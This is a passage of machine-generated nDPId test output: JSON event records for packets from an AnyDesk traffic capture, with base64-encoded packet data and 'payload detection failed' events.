LPZ50d9ujRLHJZqD1Pkd91jDfuf6F70j3fyF7gdWtGG6nb4keMmsk7xp8spVl45a5VNPFJdCSJJDO0eUluon+p6pg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1671,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1673,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":797610,"pkt_caplen":3095,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3095,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgT1AAIAGAADAqAG7wKgBstOUG56PKw4BWcQ7fFAYIBOExAAAFwMDC9xZ4hNO+msWaUj45asCS\/tOkPd2aHxW1T6NvkJCBTED4vq9VE4DthYlQo8+RCGIupaYk5SLrhc6YWi3BTxJif5ujOfc\/jX\/pPO+9\/hhXrC8EiraYvk3P0QaQpgaAaJNkXmfWIB7QJmlAm\/B+i39MWlUPgptLi39AjdJgSG7g7tMaVwUj7pQQUjtkhLOHrfF\/hW4IbuuSEkPKRrQZvNsA0\/xlqUcskqVJfPlM4YfjodYDGw32z6C5T\/XdTVU1ttbiHkkhHWVCu5GWQfEhLI\/9xBhlnbjN36icHNsKiCakU39YT4EpGZ1BZ\/GqYDUObzqSd36kpYepWNusHRz3HfXq2uOt0Dr54c1ra4puwgy5gVc4EoWXaO+Wh60cAnxjUl8gCWPEQZUpUxE+CkvPFbdLACFF739Wpc667r3RbC67GgY7R6cLKrrBY6kNFojIpgkwzpP0GfuxY4dA02l8K\/ojleb5g720JhfBVYcmtTFkxwE674cogRiLcz1\/vMWA26xqJdqKeaG1mZkJ0vwws6B3K4ArboP8gjP8jZriwQssOHMMnbWBsz06\/dAj9rsCI09+K6Kcjf8s8g4oMXqFN\/f9pZKkFWdi1KXDOPjPF2hXaMFHBE386frmkQZdONJ3BKhhmG28UCxI\/90iUFMjiez+52MRPuwh9SWmbJpqheqsINyy1CcMGSwxqKc0xpY3xmjMnnONNL+6vsOfewdVpiEmkzTUcUDyUSjMZ55rCCeqtuXHjczbMLzXtZ8Ax5jrA4PSuNOgnoQUGBKfK43FK0rkk7cV12ED3ba1xYRlz07NM1dIwyz+wXUiDEKDhnmbfRg3DbaktcySjUV7MI\/EJpT\/0YDHdKqK07rnONVqulrs7QpqRPn7h1+G41nkSuUcQ0BST2AyrPFOVitVw4Pc38krRCcL0LXvilzAxgcOxy7Cr7XPNbAcRQ\/QTNEe5pk98C\/G48A6geSYl3UIyDDr4x80tkJZmNO19Ea\/tDO+usiNJIqSWEWurshIrdqJvSuR4r87QP+K76l2dhxuQk2fYbdSkZB+Q6BHouxVtPzepxKfFoaxRQsyY8Fw46x22C3oT4\/LI5PK1soSoktB3MSIJa2853uBPHxrtTFw7O8Hcu3oQgsgAEahTYhNIzW+KBuerNMeOaluLfl5AK7I842FutquxsqzD92nBHi5yKVaKEVE\/vvxb6C5GXuN\/RWkUgmLxZq1nIq8wwTPw8oE9HDeUGjLDg1W9R1j5GJB5aTEumUqg5fad8lvfpTXACDSLwZpxZryBx1t4Ri8kFNoCJGXWn\/XVRaOkbOITzVdPEV1c6X7TV0qA21yu20cXDGKSSc0fgo2AWqkc7Zm66XdsH1C1LNe\/KRtLnNifDctdqHIteX01WwM5RUCT+sU5ZcaNACIzLzbKyGVlVB9C6jnkg6OfDADnc03Awt\/EP\/xHcN1Bbnf+k5f6kmZ8eLa\/SdsBctwSKVlfE9tQuNl\/Ul+iaoShyTF1prq44mcvxacHzcvZ\/0BbBdqHgH\/r\/kVW\/vMx0OB2szgUJpieBQdkjG2jTCYlA4mIx8nol5o5\/csd0Vb0m4Cq67wqz8GxJgSM2Qm9ChCH3ssBw7c50txWCfoN7UwaObdcXZOtj1WzNw40qiHq2l\/V8wTo8HHmy6ckVhF5A+9hWSYXHxcuhb5Pdand+9ZzB6PPviiLlnr4nl30t2oORuaaQghpHnBpEuc7K7n0s\/XY77AZQZT46vFnMg752TpfJI+lk7CKFPALE5TMcRtLS95bm0WXhDpG4ykBpZMy5SUV3cYxKGysmqe2Czv2u4wkJjjrCV7s9oUDvhVM4F8lO9ABVcjbynaA1N0EZ3k9IworhTzc0rO7tRN9ltrJP7EkeNKa8ws5F9wz5SYIotA0ZagIlKM8KsS2huCiP43KYbohR5z5DfoaRlwKrkkGAj2qjGsEvPf3Uy\/VnoAQXMR1KdXPLKrqbPR7ORxC0aLaI3V2dGxprS3Im2yjo7DRr08AUIZ1STQVk61tzqQDgLOYA7l3pA\/CbVdZtb73KWJohVZRNwakC2EDOSoo1vL9Slm+4lFo6Vg8COf8k7o0zagonSkkQB2HHEw2bOUXgmOOx62tesixFItfx7Kl7y1U\/CocNRgmGiI2YQ6rb8KIpVzwoUO+hKLV2LQQXcBSXwqkgR5KXkg70RjuH\/iHgvFzbtIsRPcm2Hg8IOaaxcuVpxvPwppz2s4PABjvLBC7hNVEvNdnK5Hl\/m3vDq5P4MGAwh4xZmGGp4PBpGvDeoSuTn1ERY06ubjlEiPQ2mP5czStbpsioedaiKd5zbKe3IqWBar2ano3UzTbUVe9c5PB9n3EpiZrcBSiY8868xndHxAsyLTPt9DY5Xq8oFh5DvEi3e07o0bg2nyM2SBWAO4b4rsytN0LTN2T2gIOoJB4bWisHVNEzNFckySsoXMmd+fcI1aEe+9x4CyjDLT92zSWzZF+wHNwWsBhh8T02o8gb\/+oFFwdKiO24vQY+GQsOoFQZyhyKjAbSDDb9QJ7gS\/jVVOAn0iEPugaNcN9kpoqqTQOUeJz8ZnXRe8d\/3JxcbER7gvmjCtn68wCD8FeAQg1SJHnGocV1Y+nPaXLNXT7geeygkAsd2jGG4B6QCTXzCh0LiJs+xnwYhwm2oaYV+u+lw1etiy0hfwZt2cdBopH0IVTCz6Ver5C9EeLqX8SDPS4Wa4V3JBDTIR1oZkT++BlpcBFJgsqG3T7G3Ea4dqu+uUEeU6KziAaWx38sqwTTTiG7AmI1KQkSiqfLOCFfB6Q1vebttAF2OhUDFXtoifEcvPAbehHxypUGRgf80G\/HPHgOL+j\/TJBDXtz8N1xdsMGEyf3177+5KdlcMlfDpljfzv8CGq6PVKnQKW47TyK9esDzzGGo9j7JTkiKznyAv0thKtf4jEKvTQndQzUWzRaLNsbcxpiup9+ud\/II9r4wMONjHd80MTOMlo1EZg1DeEGUW+3adbyXClMDP6qDDMVL68Hv1DlI1YL1WE4onQNtygSLrjeoxPC7wbgj4wXQhKJvo1hwzrvVlTyinysa\/kzKTcOjUYvjFlQzBFKP+AE35VtXK+fnFZagNB2k81v2HMOUsv5b0veX4iJObI5tZiWN1YQL7Sxq8VWAklxY8zge\/C\/Pp2g5t7uZt1XiUIvfAbVBTnp\/XMbGD0yDQuMCuMUMVrK3R6zezpGlUHE08+yQpT4yHOFFE1\/bSWGWJHmFlKaQbAJAXzBOGExvIZgK4HwqjRaJYduSIL7JYOOwCCBXHJPBPHyn5jx28tpmN85en4VEbPUTcCxC1DFvYIxeTgbo9JMknJr9Gk+xGvMB6HK9RACBXJHZ9CySM4CL7Ntr6tng5CahsA0NarEHT+qWreXhyC0wyXINTM98uMWn4SG34SU8XXbHh4gOGR8hthqyiMB4uyylWfjgbsc\/KyrHLHP+lrapvNcLdXSoBHPYXkR7m\/HcBBtvsGFGsYbWsugh7doN98CqoBceWGAk9UWIrXMReJ1gmu6nudCT6rPpdafIj24WO1wzK8dwq014kPVUxDv1UyjuXm2bRdk+6DVKHwb4sVEjV1oAYe9ICVsPbz1G4gXggRLRqjfoKVnaHCBfSN2Eb3EzOif9QyB1UzUnx3EJsA0TH0DxokoYIAd52+usltqnmWWoG6ZWq7I0oGnRYOVWRb6H2PafwsysYe7BBIqtQHKAnJ7JJFk1s3oRLFBKlLX+taY6l5YoIEecsk0QMl47Dowh5I4QIQo9LbvE2uBpknIHgRsE3ebwTooe09pu+hLqUpJUtAn2cqi2ME1AfvLYGKrxaJV+GE9HkAxn1HkrlTnt23bT2g4ayY1ZwFBnCbe6DOYtAWpvgzfrT6yTA8Oust1qfg2mC8kCpkiHfJ9eI0MkR8y1z1DOQR+Iz9iedHh5EYAoP45TpUXjdAztvgMz2Rcj4WxXOz8uD7y725DgmzNTpZtnCt0TKR0y\/qiOq8ErziumZ9o6+H6lafjE+Nedfwbw1EMtDk4qru4IEfgJx4UftHLzh9ws51\/uEisRSS3bVlLM="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1673,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3061} +04398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1687,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":822270,"pkt_caplen":3025,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3025,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgUVAAIAGAADAqAG7wKgBstOUG56PKyC0WcQ72lAYIBOExAAAFwMDC5ZZ4hNO+msWbFkc7K\/aUxvl+LIiqnkhcfAQh5jmXnGJajk1cRjpg898M2yr\/ZRQ6ZdRTSdV7gXfEIg1ZD2V5p+holvTqolSBXHITpRVZmi3QkXp2xt2hzKBZPH6GGT5+rtWDbHbe0JC7zs4Ub0fQRlqmJUCCHeWtFIVz651pldPS\/\/Q+xU\/yMEcAh19bPAQpbn4Up9PHpKZVvI2tZC3QMdQZn+UEpE7hJIHeLqt1F\/\/0towsj3KloebYbd6jqjwBcdo5puNy6gv+8O6j9B1sdt\/yjt5jO8G\/Mqkp7R101IcjikP28x\/gIz02m09h1GdLOftfvGp\/UTGQ+k02\/aENSat3XnpCszlnaHett9cvZpyct8MxQ9e3OxcDffpbXxiOb3AXnNpTobxo+mANKiQUSskPfTfLdjLlDctg0D595dGBQ89XvW2fZXw81YkQ4pJYbrYJSAwTXjz4J\/WmF8OGAcP6cmHRDvjoTPQ4Ke+oVyVUvhaR7mNHB3pnj+F6V+YXA9e03sfbPTeM9NpL\/qy9Ss7UOb\/N6AIWpUwqJbPNmlG\/fhCsdhsd+FbgxDUyqQexZV+Al0rasm2VGkfDmfm6r9RCq9Eier75pHAFnl28BFKOSRMmBMALOZe56o6ue9FESbCZe8c+zXF4\/N4vE0UgmhRZ+amNf+eidhpBmGqBVNaz3Tj\/6JmLkLZgmYvLvdvDL8rAjxRFgeZX\/WP8559b0PieE9dYq0jJjZPSww0coXCouVHbECtavVy44Ni7AIQ8Qwv7phi72+7A12K6rm2sIhtCYEPnEG71+Hogz+Rh6nWSBL25XMpg9RN41iBwkr4H5A1xwBqa9Lz1NDoSWEOD+rQSqxXXlNioMsnjnqC09AVW4OrAL1dH6y+BCNT1hK9WajeEP7W8hhlgSG\/wBYWCYzPASYDFLCpxiR70XTh8aKmykpXVEhFci99pwjUML5mi5uVh2uQNICWMcICO6RGMuICaCo6u0E3SgWPvwWuT8aZqLfE2q8gOZc24RiVU5E9Ra6gm1hdXJ7zKCpvEyqlZ6FhvTvYfBEWUHUoy9im4fK6YHlBb+Upxik7+hlfWqauka2jfhoRjbeSpry8aNuY3InGaC0ln0+Egon+\/d1XohUkjvp3HyN2OA30Rw9+dsQ3Kr6R1B1t\/AdL+SPYHdZH16m40n5F+H4DCI7RV4jiVkHDAxJH98IN2dbDE+LR088rykI3odYTew8n3cJU4S6fqT7gd9NerPPx3LjM1LaTQP0DqK5WPJB0nUN+R2yQRFp0xixlmFSXifY3r7QNbRDTM1PGxO4WnNqCoMCSpZ3QgwqJUBxNPNHep5G1dayiDEb4hH0Wbg08r5dt9Od2kg4dX0EV8XUqUWA84gh6P9bZyc1jsRXBC+ltj8zTSvsTd5g06PoXouQ+DhJT+3NbkZS36ZPxq3H3Q0UN8fm7fCHl7YAkZFf2lwiO1NTnJX3GoLuDi7lCfWH5x3Xv2Sy8i\/81q8jyWIzeeUJIPSP8DFX84zodupSnhcO0Dc2unDJEaGeYDGKiGj5e8Ksyyj4yLnT1Cfoqn5eEpuDqNWioYi\/ElKn2D7OdCrbQjTM3WjoXE2ijOj+TxG8\/FYvzZJAI4lnUKIrec+MiXpoQ3ruYtWIgHG7YhBTzD9RtS54UmHnDgsC+ImKPvYbriyoiDLIsHhn1T+EmlEH1z9tlXMTlrp2a5kvbGgjYtUBygTFwtz7aMvZ8J57dt\/sydGeraUQ2kwlQW4F+eWK+7caRPrTNz035hwCBPo2pDf5fc2K60nKXe90NAFH5gJpfzJJPHqcVA0S6MRaDTfHuUMFk4m9RQXBt9Un7Xg1I+6co33FDl5KUlmF3UAXaQoyLzmgvV4M83cxTTCGHgdAeO4pfIWyikP9M1GHvFgj4Q9WQe5WlRInuLVZvnh2IieZDGycib4s\/NuNhetQ9VpjdDoZJqFYdXLNtG+kMK2+v983051+ks2rLg5Jmcn3D+i88EydDCnJEi\/Y\/LDy9sJPn5I3PYLh5tvh4RICUg3wG2+HqEIBI3eesLlIhXzuEp6SLosXJKj3xriEGPYz3NT4lp4UkODnmmpcZSgA8DpvktvriQtofbZ6zglwvI8KJXuSlzFll9WKMYeBdVsO67e7W2Vu37rcQ0LnXN5yo\/+GF281ArDvsuiTDqYBOIl\/pblfTx679jWD1f1mfAW79I5fjyS2AA\/e4RpianJcWupdW0q4mU2eoWsfxlC62dlFQlhFKIUk+\/cHkj0qb3ovyAnAcQJdpRxM\/vJuyeSegIdqQlTx3B9Gfx0dPTKhNWfTjtegNmXg6QwQ4q1S0GjsWcngTRaAM7dLqP4MBDzknRh2upav+mu+dZE88wKoZDpwM3stA+73MkXJ7kCInsFhcWm3M+SWcp9M\/Mmxc0p\/sq6V7HX4zVhz\/+eMBFHCt9LVWW3FQRg58oe5DWmOekPaXxn7TR022zjTnWiXSy2XM2k4EXgtYiqK1ewTjq\/mXPB4mI2tqSoi7kXDYrtZtRwzdpINTiKoKpKWuP8TD5Bcw3P3wEElogDUSoGvHlFN5x3nMablx0X63sJ9Z8IJwNTVoZhO55aJFxGuQH8PEGWXm013xyLKLrDzTSZX4x7C6BLSCcS5gPyZEPjsRtMFHOPGyzRry4jzphVvKZe7lVgbxlowplBMxRCwgCQL3b5XYpjRsaCSErfQ15OV3n47cI1xrOTvu7yZt3kLRANgZYJ4uaTr9tUI2g\/Px+8z05mkMlcuHRP5Q1Ubu82H42eX69wJZ2aHKpMJgPF59bdUx1N8WeoZDpwpCAsSfyH75u2c1+G\/S0pUY+LStX\/5S+bGskwN0EblhW+cXICcmYOw1ubZXhXESe51+PHYaUoCVaJcGpdxmKiWIvxJfFmS+CfGitiBXOyNP7j5pWzrgGcudTFnF5HUkckt\/WGnkY\/C8PfJDGuI7JbYsPU868x2TK8Uy6p5kjwrEf5h9BA9mcynwKFngqzem6HIJPSMNLk+pK8SV3v6k2rGMJCOcR0\/FFS0UP+9oJWsXdYINFDZIC2AcICqpSdH4fUfEXbUBoRGxyHsp0B2MsvNYvLtfSazpZxlz1tyz3hJQYmU090gWD1u83lxbGbBMxPPwW9rECFNVQx1Ky2Wp5NiSYMrypwQ32vHSah0G4SUvQijcDWGnSq7hl8+JUW13FY6bfYQmJZPKrxLDhnrYTQrRS3JJ7\/24Ud71n2SHtnM57xcepkZCTSbiCUJGjm3fScRBzNRp2hHudajqvra2v91xdd2IAVgXRBTSjdmGa\/WZJonAELctelZ69QY8iGKytJz5FfWqMz61UACEXnemk+ohnISl7ZwSm5tqMJS\/DqQqQEmeuNy8FTGzuYPrZa\/wmazEZrCP2eEkXIC63Pl5p5F+mOrwn1Gz6eYxhTMxqz2rxSPxW5SsHOcFmKGIP4gMeS+9+48Tzji6lnN3355TQn4u6rpzAiVXO2vKTjSpJOQ9Sih\/XZSUSWRX7dHJCx+Oy2FeaSrMZ3JitpIVHJyapPTxRuCZ1LahEZexnjyjy56RgGAbLnO5W0ivhpqvi3AxgAn5q5JpwwkhH7z\/5ImyKwlFtr3Bdm9KwCybk2zojRwHee1UEYKyTzAKF3T1g6a+AjnYSyEOp8RHd4q2FXx0BqeUU2dwS\/J4TbOWN\/HUMzv8sn89VDKKPIsxqHExD7eOXc\/5vVMXRkqDxRQ46cK2CUnvK2V7gyElhIdnW2ieqBGBs5GNt4QhivO+WpTeDrrbGRWUoXXuVHpM8+IZF\/m\/UP4wT4P\/q1LNSuxEI7QC2pdhNT\/jeT+NJFMJK61JvcEbODx25csxIPQ6lqnd+1hVSWqHGCDhgE8xdFVx0aDTgHa2X0GmcoChL8kibHs1P4HXKEKTmeGRzSOaaMuOgq810aHPmizvwc7csc+hUR64SojIboJn0YTRK6NTRl4sS8inL1+2dw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1687,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2991} +05649{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1689,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":823267,"pkt_caplen":3955,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3955,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgUhAAIAGAADAqAG7wKgBstOUG56PKyxPWcQ72lAYIBOExAAAFwMDDzhZ4hNO+msWbWA2pS6WC5jp7va+ESGzxgi4oDzW83RQUy6VC1DXQa0LI6Qpy10R9zsJH0Uy4zu71euSlg6lWLqsobiuAZehTdJh7NEKLB3tg5fdljQBhiyRP+wdV7K1plktTe4lhVWj7X7i3b8oXTbo5zLJM3s7YsjhhPVNEnzHZHA2euofTHfo0ROnfL1j+tjH9VPp9OvzLf5BEX3HuL6kfuT87fJYuo0mADouhd9+m211KRc+XStZrrdqGeQd8foTxX7lNPnBzMMZc6Q1BTgAtQE+6lqXjOOcp1QM5InmkOAUj3i6WXviam28KDg+VrjzkT0H2hyWgKrUfw+tzjeFTryiBVx\/jQzeUyCG6Qj3OSS0QAyoSgk6AW4vPCSpY7aBN7lFCXc+6SOOe2gUapVkzXg7m9sk7kDPi77GRaE9ub4QpPPcZ6h3VJvFBcSCchjrR6qSPXOSuE16JOlHk+AcpPksM5P3mJXoF9qMNb\/Dien31EiMv4XQdUiA8v91woy5gZYROrl7fueDk96v2bmbqlWnQXhvvp0LSiW4rjuuZsaTDvVYIKe01vBnt4MzzbEQvNGWvH+O9aLN3FxHV6MGjkKPy+vo0KO1vMDb0yxv7vxiAF\/5Ey25mD0KvtxJw7OIUDcZEPZ1r1MHo\/eVJSbnzJKUep1NFFQU0Dm6ImaxcD0lFBEuiBO5SYxorJvLWY\/hyIzNZBpyuF77yDG6hgGHL8HNP0wzJI0dMTzbU+S1DHBxI2f+ry0bE++FUM8EzUtxO5TeqpEX0kJS4ArMu0DMgCaXICMPjV+VU5Ar6SYZYRSbd86uboRft9QjmdKaLRh6wxVT0reXAGaaAw8E+fgCCOr6l3hwcacLhN9wBfyKq9ai\/LIadIRklJcgQLkEubE3qV2giGOn1ejFApr9lPlWsWeqTL98fvSLu01Rjw4D73FELOOp3yjkVUDQg0QZicV9+XnqIk4otLOPnHYgfjx9lpq+gT6sANLRtVRQGOdVfJOUf1CR9EulQ4lG92rV3q7hyqX8I0VBBybzKnjFrqwjVZhrd4m3YYRnC3dJz4ynU\/rGgTo9X5A3O2dOq9gSpLXvkTSa9jOAwyCehJWYcST+XxQzG2GBxF0YlAHIq9ot5Qx5Do+Hbla\/P06fpVZiWREgnO7PNiYjCFzvnXIoMgzYBTx70F67fRXS2Fnwv1rBtP\/MFcrwpBLxRKKoJ0lBtFsVi2OXQQ8F5CT2d\/llP9HFngu3NB7+uTTtM1JFuaKPYjkNGrM0DJPLylfSI\/vNf7H7ubSgRaDNF1KXw7rrE4bTbdlaGaUXSfdV\/CLzfLc0f+UWNnE8sebiASpFEyUCYdE80TwoKr81vMn\/FgOwreeeUsFdKIHqdRopyCN81bHmNEM35cqnzkdtc24mx+BakBxSBNhg79UxsfTLE2sm8CUYILiyjccVewr338mOqgSleZy9fOhFQoCEFNugZicX0y7BqrnGjUKQJiyyIzn2DTF1gXzS3ezNKT\/4iTKBLu0WA7VC+HAIJ3dMZXm5cm0sfqPVNh5zWjbRKziT3tdS59IOOJMJsNF\/bx\/IDjyOpc6Sow0EaA5pNEaSR\/p+f+\/N9l4R6rHuCrRsbj8PFsAXzfZnmXfIMMwj7TTW8+wtHL9G+yI5Nk6fGicvTiWPpsc3PMBj5TBg5y0HxRn\/OsNZij80hxpVOBbOwSG7+XvLcKpZ2WZoIS6vCpHtGjvqMGv2aJANzfiJ8h1TCift+n26BhDCat7p4\/xrWGESrjMxhxjv3FqmOtzLMHDe86FwII7xAwEV5FhOyAQBicEMr\/BWsAb8Mn+He0aqUGmKjinxzLmjU1cp0c6seetxUIoPuyANd9zj3erk2QVrT+lTbcfdr7SUDL98cWtuaF+vOeAJeHY43fQ95dizhvZS3Dld6kSGW4w0OeEgTHHGeJsRTwS2IYwar61euuCjfIFP8eV+rn8vV\/Xatq6Z8vhWIQG\/KrSykIp9AvPN3dRWqpcbCN0YaXuMZItPG12mlr192JjnfRvLe+jfay+gjjPUMaG3rZA8KXVPgWtN08TvEktXwpvTHaKrAqzb8wXTdrxUG\/C1UAhD23cdTlPxF3pd9Mzy8qTsGJ74+sVwoVR8LT3mulwjVJoGrIA4qr8EcsCiqRqf+7qL60SjlkzHKZK2xXaQCVW1rsQIVJD9EHYNMtGC\/VtUnsmU97mcMwtXtY7k3XIwL4u4BhRP3CtxSYniNPLtfj7JqTbQNfbeRogl7oYpCR5uGYWCLAHR2Ju3o1XxryFyteFdA9vmzkdjGnPJGKvY17bY80ZLVhCb43Ubqod0FG4l3GBtXr\/AbWlJ6n3mOrxxriU1MMUfEZ99VPcvzluZ\/B8o0cNVvXyl4my\/lGSwlsJXWp1Ga4RBKNo3sJ2ALJOrWVDMECvr4k7F5vPmOFMxPXHJLQ7ZQsmlcw\/ptcmfh644vUVjisB1OoFLHibeaHYjHRNd+7RmfxOnrpfPED7dmRqdMf9WR7p5FWST8mRFHtFlxTa9I9jrjLlOoTM4U9L\/FjYR8BRlVcCk9LKDa3WVOQzxPR6M8xYRTWHZFO38zHeJhQdNNnHVM14xruvQAqzk1FIvRs+SGloZVsmRx\/OCt9IrZmuHjZUP3uyRXhMfKlL95Fni5KogDOmSTcc5p+2tmfOY8Pjt2YeV\/xUtzcdf75veyExgSJVXtJD8xcCRDxftvuuMZ+sAiP0OL1bed8dYk\/5UgHS6y+GJORsMO5r4uOZx+jL7Ft7+9ITMl3xGLEC9jF\/2tYoqL6IcZbMvO3jFDDMp9PUkqHmN76ymcJA9dBWNm68CozXEw5rDc1pPFItV\/vMGPYn4LYm99ppqHqGYzUQ9saffMptgDLBRJM7IppiWkgOc\/Qb80JS03rPePFMwzKAKSfOIr0gcYINVajPBFk0imUXKYTiLI8J7IjfBZ43hBARUNVJcuwKwgDDi8o0N+\/zu31JJmLpGYvO4yXA+vBz8E+\/EKoZ8wKlW6\/oFjqPIWiqaXmSWPaCHed5Gub2XcTsFsVA16kRQLJyCi5S3KhSDKPJ6xILGNVDbTjnlV6cOvUB7JVbfWg4tUThOkght4nB868488ZGsza6e6saCrQpDMdgd+MEbPRwG6sf8I0J0+JLT8\/rQlIQodEduGpBKnFCuu1EA9zXbpoAIdd+CPTw8o90m4yE5eqsytDeg1DuE2ok90OdrYtL83UnF4xi+7TBLAyVgaw03v6C\/gHgg4idWu+P1O2d4te2bzaNju+eR1REDobYk59X5nYsl0hj+3ppszvuXrf4VGrFxySPiJ2XebUFPROWmLXWkpXI20VK1ltqs9hZbExsiodDNJV4nBYlrcv3lb6j9gjgOqi6ONXtGcRFvYKAk\/8rH5CTj9ha8Xp\/wzkbgfttl7Ldc3XJb2JC\/WCT8UW4dnnnjL1avSgZyd1S3T9V5rPgEXCSOgYv+yvUtPtQojg3KtsTaCO9mzdFyYwQ1v8tzUZcVl8ATRG2nX1V5YXT+OViYm07khCbx+PbWpV9qRhe1zY93rZaTrAaokocWoFMrZ112AdbdHu47qAM4sOzTiDD8NTfdFXgjYKel08igFCHngxJ+hYq2eHtNJvuk5UkePIUQe4Cg4pp4R6c2dsgRx8e\/fXXrq29u\/WCFq5YluJbtAqU+ARO0679dxGhtMoFgWKqh3htt53KP\/3OZ6WiOpicy1U46biPA2m30N+J8S6J\/wMUsH+zA74j29JnYZ\/HMECFrRDXDtwZ8ExsN4OkV670If9tgGYKMttnNjAISXI0PUZlW73wO1cFDjUierhURMpst\/RnACBEIjBmxII+nT+GB7itaCAZoaHmm+PHCBGQmDQ609EtNR0sD+VfKcC5zrnPfjwWnWypIYbJPFPWerO4WAoEzMIfIJgNsiiUhGzcRWd3EFePQgiEPZc+e4WzQgSSGm6je+0wWZN8EKNuqir+qiXdiMcvlIyec6EITdHS76odb2OHbjD\/ni4\/4K+NrpiUrNse9gc0++ZvGasVHc6mHaUhUG8xVEFcSaoGw5r0CADTGoxgyJPT7HSvsj8agJOP\/cE5nBcyxe8eL2cDRvrd4+nOWlNsBmdkMcpDV+FiJcpU0i8ekQb0I3Xetsh9EhXWlBN49qwnFlIY5IbIkgbmcgAQyjht\/4eUICCyLqW18cvmh8G3qM93tLMKwWxZ5LAdgTlLtbWjhR+Fmn7WwTE0eQV1bZjEV\/TGsrcmkZcal+n55ScmuQ4vc3Xm5dBt5h7g80RihfdFtSnXyi7hUm5XXYkDmUucDNz4PeLfwQDGPEAZCyjHwXOddZZDFJYGt2fX4fpwN8QUf0atPZHWxlSidBc\/Byj7e2wbZX4H5e1VjdP1LaNaM4CN8I2BFnK9UyGHHh4o6mi4gJLwoKvWGjh2Gmw0YGlo7rSrzT5JlAEk4vgJIhBiPDicUbxJK30FrsRxNg9+nM3g8UDkAji4zfjvjS0GnPobwvLQTa4YDKoPLXX7vbA+rBRhH9hHXo79o9bEHcFfYS8DdNDLByvA7RV5zLLqAgHm5jY2xuy19irmZmo7djhjuVMqLRXUX9U68zZQScputAwwH\/2N2s46AND92C\/T717LzslBe5BvV8ZVIAA3lk1o8srzhGoyQh7NQrKsG3jH8IfLOZlBu1T+yuKxusxW+RKZ6H8LxojeU8cWnC0WnTNhASommJbMBCnkyS8+bI69Rv89ioqHPrcZzga1tJREB6XeGFS6C0S5fhNJ5xBwYJ2IFyPQRLhM\/PA8kdPMYperGCslA6wATFLRNsA66+Cp4j8\/eGjIFkr9NccUshAUkWqLV\/DU4ZwK5QbN4pVxs858DOaOuSEqEu\/D7duV5c6yFbMnESuiqXn9IR7qOiG2m4WYL91\/hwxCjym1yNm7urA9SVqfHrViB9YeSCD\/c4aT0oIZIGkWom1ih1yQk1Ew9+11gcslMJKFER9aGfcKO6vbNNpX47OL1k1XS1CmiV\/StAKCCjwECsRPiSNFC4PViQWVIz010y29NDa7E8wrGtyvmLjExAhEXV0G2DAKcsk2yLuKsKcYVh9fxwntt457Kt4FXqct9OBAADVVz\/ayvOvTewXoKYtCv2aXa0ql\/yzE9Qs2nlJAuY3jcW1ibsXpvXO3F69EsGo00iBxvHnWtCqnzDQ7zr4CVisIeFzNNGogTiX3ESURgZjI1\/KrcxA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1689,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3921} +06722{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1699,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":854423,"pkt_caplen":4740,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4740,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgWNAAIAGAADAqAG7wKgBstOUG56PK0C7WcQ8Z1AYIBKExAAAFwMDEklZ4hNO+msWcMj81wiYCs72bayFef1VgEOKXWMJqGhOHrwi396Eay9iNeWTqL2cTtmYG1zckorWBiR+2JDx\/Nb\/Z1v6meqNfGyl\/2h7OY8dsDacKH1dPzsvOUju2qVq8eIma9gG+hc2fiDmBfz+JeegB42IzfwtelTPLGbuE2ppX6j4Y3DDxP+mgcLmzw7iOKQJi0U0qhgj3LQvEM9d7MkE6aAImM5+nG8GPEbsOUx5FtEm7hl+rf3LmeTaiVqb8mpwNEksJqRJFFxn7ob8d5lzLJqMh57AaJX5JlriD0FImRoThupHSCCJZxLpX2BhOKoetr+B3Lk4zBBJcEuDM7Ramm3xIzGU+JA\/XrxTL4Xh9Io41KwyJeDn84u61zxFYuEBysYsuDuJ3771fWOZtj0i7hxGBgVfqdG8Sf0HGnq\/fTctpx\/qeBOpKvvwWjv8er4f9CBskJeZ+l0MMRVOA\/iizt86F5uiHaHmCBPAqmADiNZOoqu9gNVwJPrqoe5tFwCqrnDWp1aRKd9JRL7LqE5wCDaN94+lttoY2oxkN\/k1k\/E6RbeNc\/PjkRF0I5B2yd9+yMLiv8kT9FcqMLQSsG+ONCFun5JPryVByHqHvcsClsY+IZOn6ir518cWz5K3OYZIhV0Gj5eVx5Sd\/C7RMGco0W9CivA7qZdmEjGIXTEqBix2XWrFEnxiDY9XBWztjUSx5BGSpQCak\/BR90ESVDf669iW8pOUbCIVU125QbbVANkLnk7BCiQpZ2YkS7JYYRyssDbJXIFOFMtxJq3HuQqXIpyDpdpuc4A6Na\/kxjMbGauf4rys\/PI+y18PYnsLl9COW3EKIsXIymavRJ